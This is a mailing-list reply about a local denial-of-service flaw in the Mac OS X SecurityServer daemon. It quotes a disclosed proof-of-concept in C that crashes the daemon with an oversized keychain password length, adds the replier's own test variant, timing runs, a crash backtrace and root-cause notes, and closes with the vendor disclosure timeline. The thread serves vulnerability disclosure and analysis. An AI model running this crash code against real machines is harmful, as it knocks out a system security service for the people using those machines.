From: william.a at carrel.org (William A. Carrel)
Subject: Re: Local Denial Of Service Attack Against Apple MacOS X, MacOS X Server, and Darwin.

In article <BC175C14.1C6E%marukka@....com>,
 Matt Burnett <marukka@....com> wrote:

> Advisory Name
> Local Denial Of Service Attack Against The SecurityServer Daemon In MacOS X,
> MacOS X Server, And Darwin.
> Proof Of Concept Code
> To  build this code run ³gcc <file name> -framework Security ­o
> CrashSecurityServer²
> 
> #include <Security/Security.h>
> int main(int argc, const char *argv[])
> {
>     SecKeychainRef defaultKeychain;
>     SecKeychainCopyDefault(&defaultKeychain);
>     SecKeychainLock(defaultKeychain);
>     SecKeychainUnlock(defaultKeychain, 0xFFFFFFFF, "password", true);
>     return 0;
> }

I've done some cursory testing on a G5 with code that generates a fake 
length password.... This winds up in the middle of the above code...

    /* Build the password string */
    n = atoi(argv[1]); /* sure... I trust argv... */
    s = (char *)malloc(n+1);
    for (i=0; i < n; i++) 
       s[i] = 'A' + (i % 26);
    s[n] = '\0';
       
    i = SecKeychainUnlock(defaultKeychain, n+atoi(argv[2]), s, true);
    printf("Returned %i\n",i);

So argv[1] is the length of the bogus password to generate and argv[2] 
is the amount of extra passwordLength to pad on.  Some sample runs 
showed the following output and times:
(8 byte password, 60k extra length)
Returned -25293
./OflowSecurityServer 8 60000  0.02s user 0.02s system 1% cpu 2.105 total
(8 byte password, 600k extra length)
Returned -25293
./OflowSecurityServer 8 600000  0.03s user 0.01s system 0% cpu 19.212 
total

The scaling seems to be close to linear based on the length of the 
string.  But then something interesting happens:

Returned -2147414015
./OflowSecurityServer 8 6000000  0.02s user 0.01s system 63% cpu 0.047 
total

Returned -2147414015
./OflowSecurityServer 8 6000000  0.01s user 0.03s system 0% cpu 5.197 
total

Returned -2147414015
./OflowSecurityServer 8 4294967287  0.02s user 0.01s system 72% cpu 
0.041 total

That's MININT + 69633.  No idea what the significance there is.  And 
equivilant CPU time is spent with the SecurityServer process doing 
something if a wait is indicated by a large wall clock time in those 
examples.

On this G5 anyway, I'm unable to replicate the SecurityServer crash.  
Results from a G4 scale similarly at first, but do crash the 
SecurityServer for 0xffffffff passwordLength.  

The corefile gives the following callpath: (thanks John)
Thread 0 Crashed:
0   <<00000000>>        0xffff8cf4 __memcpy + 0x554
1   com.apple.security  0x920fa534 sha1AddData + 0xa0
2   com.apple.security  0x92102a68 hmacInit + 0x6c
3   com.apple.security  0x9210294c hmacsha1 + 0x54
4   com.apple.security  0x9210286c F + 0x8c
5   com.apple.security  0x92102768 pbkdf2 + 0x84
6   com.apple.security  0x921026c0 
AppleCSPSession::DeriveKey_PBKDF2(Security::Context const&, 
Security::CssmData const&, cssm_data*) + 0x174
7   com.apple.security  0x9210249c AppleCSPSession::DeriveKey(unsigned 
long long, Security::Context const&, Security::CssmData&, unsigned long, 
unsigned long, Security::CssmData const*, cssm_resource_control_context 
const*, Security::CssmKey&) + 0x1bc
8   com.apple.security  0x92102228 cssm_DeriveKey(unsigned long, 
unsigned long long, cssm_context const*, cssm_data*, unsigned long, 
unsigned long, cssm_data const*, cssm_resource_control_context const*, 
cssm_key*) + 0x304
9   com.apple.security  0x92101dec CSSM_DeriveKey + 0xa8
10  com.apple.security  0x921014f8 
Security::CssmClient::DeriveKey::operator()(Security::CssmData*, 
Security::CssmClient::KeySpec const&) + 0x234

We can see from here that part of the problem is in the following file:
http://cvs.opendarwin.org/index.cgi/src/Security/AppleCSP/MiscCSPAlgs/SHA
1.c?rev=1.1.1.2&content-type=text/x-cvsweb-markup in sha1AddData()
Cursory examination tends to indicate that the ridiculously large 
passwordLength is simply being passed on through these calls without any 
vetting of whether it is a reasonable value.  And with an insane 
count/blocks value in sha1AddData's call to shsUpdate(), the memcpy that 
shsUpdate does can quite easily stomp off into oblivion causing a 
segmentation fault.

Hopefully someone can build on the information given here.  I think 
sufficient source may be available for a homebrew fix, but I have to 
attend to other matters at this particular moment.

> Vendor Response
> Apple Developer Connection told me that Apple does not give release dates
> for patches.
>             11-20-03    Vendor is notified of flaw and is supplied with
>                         proof of concept code.
>             12-29-03    Asked vendor for status update. Apple Product
>                         Security referred me to Apple Developer Connection.
>                         Apple Developer Connection informed me that Apple
>                         does not give release dates for patches.
>             12-30-03    Advisory and proof of concept code
>                         released.

Yeah, Apple doesn't seem very interested in maintaining any sort of 
status contact with people submitting security reports to them right 
now.  Hopefully this will change in the future.

-- 
William A. Carrel

Powered by blists - more mailing lists